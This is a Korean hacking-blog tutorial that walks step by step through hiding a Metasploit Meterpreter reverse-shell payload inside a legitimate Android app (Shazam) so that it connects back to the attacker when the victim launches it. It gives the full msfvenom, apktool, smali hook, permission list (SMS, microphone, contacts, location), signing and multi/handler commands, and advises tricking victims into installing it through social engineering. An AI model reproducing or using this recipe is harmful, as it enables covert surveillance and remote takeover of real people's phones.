본문 바로가기

HOW TO HACK/Android Hacking

[Android] 앱 실행시 실행되는 임베디드 백도어 만들기 (수작업)

# 본 게시글을 악의적인 목적으로 사용시 그에 대한 법적 책임을 포함한 모든 책임은 전적으로 당사자에게 있으며, 


   작성자는 어떠한 책임도 지지 않음을 밝힙니다.


# 본 게시글은 작성자 본인의 스터디한 내용을 바탕으로 작성된 글입니다. 따라서 일부 잘못된 정보가 포함되어있을 수 있습니다.


# 이 글을 열람하는 것은 위 사항에 동의하는 것으로 간주합니다.


# 잘못된 정보에 대한 예의바른 태클 및 지적질 적극 환영합니다.





1. Overview



안드로이드 디바이스에 백도어를 심는 방법입니다.

AndroRat이나 Spade와 같은 자동화 도구도 있지만, 여기서는 순전히 노가다 수작업으로 백도어 APK를 만드는 법을 

알아보겠습니다.

백도어 APK는 희생자 몰래 설치되어야 합니다. 

당연히 희생자 입장에서 아무 기능도 없는 apk를 설치할 이유는 없겠죠?

희생자가 apk 파일을 설치하게 하려면, 정상적인 apk파일에 백도어를 Embeded하여 마치 희생자가 원하는 정상 어플을 

설치하는 것처럼 유도하는 것이 좋습니다.


지금부터 실습해보도록 하겠습니다.   

오늘 실습은 공격자가 악의적으로 백도어를 심은 APK를 희생자가 안드로이드 디바이스에 설치하고 설치된 앱을 실행할 때 

공격자 PC에 Reverse Connection을 통해 미터프리터 세션을 맺게 되는 방법입니다.

반드시 희생자의 앱 실행이 필용합니다.

실습은 아래 단계로 진행됩니다.


Step 1. Payload APK 파일 생성 (msfvenom 사용)

Step 2. 정상 APK 파일 다운로드

Step 3. APK 디컴파일링 (Payload APK & 정상 APK 모두)

Step 4. 페이로드 복사 (Payload 디렉토리에서 정상 APK 디렉토리로...)

Step 5. 후킹 등록 (정상 APK의 LAUNCHER로 사용되는 액티비티의 onCreate smali 코드에...)

Step 6. 정상 APK의 Manifest.xml 파일에 권한 추가

Step 7. APK 리컴파일링

Step 8. 키사이닝



2. Hands-On



실습 환경은 아래와 같습니다.


 구분

Attacker 

Victim 

 IP 주소

192.168.0.64 

192.168.0.14 

 OS

Kali Linux 2016.1 

Android 4.4.2 

 사용도구

Metasploit

apktool (apk 파일 컴파일/디컴파일 도구)

keytool (안드로이드 키 생성 도구)

jarsigner (키사이닝 도구)

 없음



Step 1. Payload APK파일 생성

작업할 디렉토리에서 아래 명령어를 실행하여 미터프리터 Payload를 만듭니다. 

제 작업 디렉토리는 ~/Hack/Android 입니다.

# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.64 LPORT=4444 -o meterpreter.apk

-p : 페이로드 설정 옵션

-o : 생성될 파일명 지정

미터프리터 페이로드 apk파일이 meterpreter.apk라는 이름으로 정상적으로 생성되었습니다.

하지만, 단순히 msfvenom으로 인코딩이나 난독화 같은 과정없이 만든 페이로드라 AV(AntiVirus) 프로그램에 당연히 탐지는 

됩니다.



Step 2. 정상 apk 파일 다운로드 

Step1에서 만든 미터프리터 백도어 페이로드를 숨겨줄 정상 apk파일이 필요합니다.

구글링을 통해 apk 파일을 다운로드 받을 수 있는 사이트를 찾습니다. 

보통 "찾고자 하는 apk파일명 apk download"로 검색하면 몇몇 사이트가 나올테니 쉽게 다운로드 받으실 수 있습니다.

개인적으로 apkmirror라는 사이트에서 shazam 6.4.0 으로 검색하여 다운로드를 하였습니다.

(참고로, 처음에는 apkpure라는 사이트에서 다운로드 받았으나 apk파일이 비정상인지 apktool로 디컴파일시 자꾸 오류가 발생하더군요.)

shazam은 무료 음악 스트리밍 어플입니다.


저는 다운로드한 shazam 6.4.0 apk 파일(com.shazam.android_6.4.0-160415-604002_minAPI16....(nodpi).apk)을 mv 명령어를 통해 제가 작업하고자 하는 디렉토리로 옮겼습니다.

파일명이 길어서 파일명도 shazam_6.4.0.apk로 Rename 했습니다.

아래 스크린샷과 같이 정상적으로 파일이 이동되었습니다.



Step 3. APK 디컴파일링


이제 shazam_6.4.0.apk파일과 meterpreter.apk 파일을 apktool을 사용해 디컴파일합니다.

이때 사용되는 도구가 apktool인데, apktool은 칼리리눅스에 기본으로 탑재되어있습니다. 

# apktool d -f -o original shazam_6.4.0.apk

# apktool d -f -o payload meterpreter.apk


제가 사용한 apktool은 아래 보시는바와 같이 v2.2.1-dirty입니다. 옵션은 천천히 살펴보시기 바랍니다.

그럼 두 apk파일을 디컴파일하도록 하겠습니다.

디컴파일이 정상적으로 끝났습니다. 아래와 같이 originalpayload 디렉토리가 새로 생성되었습니다.



Step 4. 페이로드 복사 

아래 명령어를 통해 meterpreter.apk 파일을 디컴파일한 디렉토리(payload/smali/com/) 안의 metasploit 디렉토리를 정상 apk 파일이 디컴파일된 디렉토리 하위의 디렉토리(original/smali/com/)에 통째로 복사합니다.

# cp -r payload/smali/com/metasploit/ original/smali/com

보시는바와 같이 metasploit 디렉토리가 생겼습니다.

metasploit디렉토리에는 stage라는 디렉토리가 있으며, 해당 디렉토리에는 아래 스크린샷과 같은 파일들이 있습니다.

이번 실습에서 사용되는 파일은 빨간 박스 처리되어있는 Payload.smali 입니다.

MainBroadcastReceiver.smali와 MainService.smali 파일은 안드로이드 디바이스 부팅시 서비스를 통해 백그라운드로 

자동 실행되는 백도어를 구현할 때 사용되는데, 다음 포스팅에서 관련 내용 다룰 예정입니다. 



Step 5. 후킹 등록

즐겨쓰시는 텍스트에디터를 사용하여 정상apk 파일(shazam)이 디컴파일된 디렉토리에서 AndroidManifest.xml 파일을 열어 후킹할 액티비티의 경로와 이름을 찾습니다.

# gedit original/AndroidManifest.xml

어플이 실행될 때 백도어가 실행되도록 하기 위해 .MAIN이나 .LAUNCHER 텍스트를 검색 기능으로 찾습니다. 

아래 스크린샷에서 밑줄이 그어져 있는 부분.. 즉, <activity android:name= 에 셋팅되어있는 액티비티(com.shazam.android.activities.SplashActivity)가 바로 후킹할 액티비티입니다. 


이제, 찾아낸 com.shazam.android.activities.SplashActivity의 Dot(.)을 Slash(/)로 바꾸고, 뒤에 .smali 확장자를 붙혀서 해당 액티비티 파일을 텍스트편집기를 이용해 오픈합니다.

# gedit original/smali/com/shazam/android/activities/SplashActivity.smali

액티비티 smali코드가 열리면 다음 텍스트를 검색합니다.

;->onCreate(Landroid/os/Bundle;)V

해당 라인의 바로 다음 라인이 우리가 후킹을 등록할 지점입니다.

여기에 아래 텍스트를 추가하고 저장합니다. 

이때, 경로 Step 4에서 사용한 경로대로 추가해야 하니 주의하세요. (빨간색 글자는 Step 4에서 복사한 페이로드 파일입니다.)

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V




Step 6. 권한 추가

정상 apk 파일이 디컴파일된 디렉토리의 AndroidManifest.xml 파일을 열어 원하는 권한을 추가합니다

# gedit original/AndroidManifest.xml

이때 원래 추가되어있는 권한과 중복여부를 체크하여 중복 등록되지 않게 합니다.

제가 새로 추가한 권한은 아래와 같습니다.

더 많은 권한 종류를 보시려면 어떤 분의 블로그인지는 모르겠지만 잘 정리되어있는 것 같으니 여기로 가셔서 확인해보세요.

혹은 안드로이드 개발자 사이트에서 확인하셔도 됩니다.

AndroidManifest.xml 파일에 등록된 권한은 사용자가 apk파일을 설치할 때에 보여집니다만

보통의 사용자는 이때 보여지는 권한을 일일이 읽어보지도 않습니다. 귀찮은 걸 싫어하니까요~


    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>

아래 스크린샷과 같이 권한을 추가하였습니다. 권한을 추가했으면 저장하고 파일을 닫으면 됩니다.



Step 7. APK 리컴파일링

이제는 백도어를 심었으니 apk 파일로 다시 컴파일해야 합니다. 역시 apktool을 사용합니다. 아래 명령어를 실행합니다.

# apktool b original/

아래 스크린샷과 같이 리컴파일이 정상적으로 완료되면 original 디렉토리 하위에 dist 디렉토리가 새로 생기고, 해당 디렉토리안에 새로운 apk 파일이 생성됩니다.

필자는 이때 아래와 같은 에러로 애를 좀 먹었습니다.

Invalid register: v17. Must be between v0 and v15, inclusive.

v0에서부터 v15까지의 레지스터만 사용해야 하는데 이를 초과한 레지스터가 사용되어서 발생하는 에러인데, 이는 step 3에서 후킹 등록할 액티비티 smali 코드안의 .locals 라는 변수에 15를 초과하는 값이 할당되었을 때 발생하는 것으로 추정됩니다. 아직 근본적인 해결책은 찾지 못했고, 구버전의 정상 apk파일을 다운받아 작업하면 에러가 나지 않는 경우가 있습니다. 



Step 8. 키사이닝

apk 파일은 키사이닝을 해주어야만 안드로이드 디바이스에 설치가 가능합니다. 

따라서, 새로 컴파일한 apk 파일을 키사인하기 위한 키스토어를 먼저 생성해야 합니다.(이미 있으면 생략!)

이클립스를 통해 생성할 수도 있지만 여기서는 keytool이라는 도구를 사용하여 생성토록 하겠습니다.

keytool 도구를 사용한 키스토어 생성은 아래 방법대로 합니다. 


# keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -validity 9999

-keystore : 키스토어 이름, debug.keystore로 셋팅함. 

-storepass : 키스토어 패스워드, android로 셋팅함

-alias : 키스토어 별칭, androiddebugkey로 셋팅함

-keypass : 키 패스워드 , android로 셋팅함

-validity : 유효기간, 9999로 셋팅함


키스토어를 만들었으면 jarsigner 도구를 이용해 키사이닝을 합니다.

아래 명령을 실행할 때, 키스토어를 만들 때 설정했던 값으로 입력해야 하니 주의바랍니다.

# jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA [apk파일명] androiddebugkey


모든 작업이 끝났습니다.

이제 희생자가 본인의 안드로이드 단말에 사회공학 기법이든 어떤 방법을 써서라도 해당 apk파일을 설치, 실행하게 만들고,

공격자 PC(칼리리눅스)에서는 메타스플로잇을 사용하여 victim의 Reverse Connection을 기다리고 있으면 됩니다.

msf > use multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp

payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.0.64

lhost => 192.168.0.64

msf exploit(handler) > set lport 4444

lport => 4444

msf exploit(handler) > exploit


희생자가 해당 apk파일을 설치하고, 실행하면 아래 스크린샷과 같이 미터프리터 세션을 얻게 될 것입니다.

저의 경우에는 희생자 디바이스에서 어플은 정상 실행되어있음에도 세션이 간헐적으로 끊어지는 경우가 있기도 했습니다.

<끝>